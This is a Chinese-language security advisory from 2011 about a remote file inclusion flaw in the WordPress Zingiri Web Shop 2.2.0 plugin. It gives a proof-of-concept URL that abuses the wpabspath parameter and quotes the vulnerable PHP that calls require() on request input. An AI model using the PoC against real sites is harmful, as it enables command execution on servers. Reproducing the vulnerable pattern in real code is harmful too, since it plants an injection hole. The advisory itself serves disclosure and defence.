安全研究

安全漏洞
Wordpress Zingiri Web Shop 2.2.0远程文件包含漏洞

发布日期:2011-10-17
更新日期:2011-10-17

受影响系统:
WordPress Zingiri Web Shop 2.2.0
描述:
Wordpress Zingiri Web Shop是将大型的内容管理系统转变为电子商务解决方案的插件。

Wordpress Zingiri Web Shop 2.2.0以前的版本在实现上存在远程文件包含漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。

<*来源:Ben Schmidt
  
  链接:http://www.exploit-db.com/exploits/17865/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

PoC
---
http://SERVER/WP_PATH/wp-content/plugins/zingiri-web-shop/fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI

---
Vulnerable Code
---
if ($_REQUEST['cms']=='jl') {
    define('ZING_CMS','jl');
    $_REQUEST['tmpl'] = 'component';
    $_REQUEST['option'] = 'com_zingiriwebshop';
    ob_start();
    require($_REQUEST['wpabspath'].'/index.php');
    ob_end_clean();
} elseif ($_REQUEST['cms']=='dp') {
    //all bootstrapping is already done
} else {
    if (!defined('ZING_AJAX') || !ZING_AJAX) {
        /** Loads the WordPress Environment */
        //require($_REQUEST['wpabspath'].'wp-blog-header.php');
        require($_REQUEST['wpabspath'].'wp-load.php');
        /** Load Zingiri Web Shop */
        require(dirname(__FILE__).'/../../zing.readcookie.inc.php');
        require(dirname(__FILE__).'/../../startmodules.inc.php');
    }
}

建议:
厂商补丁:

WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/

浏览次数:2873
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障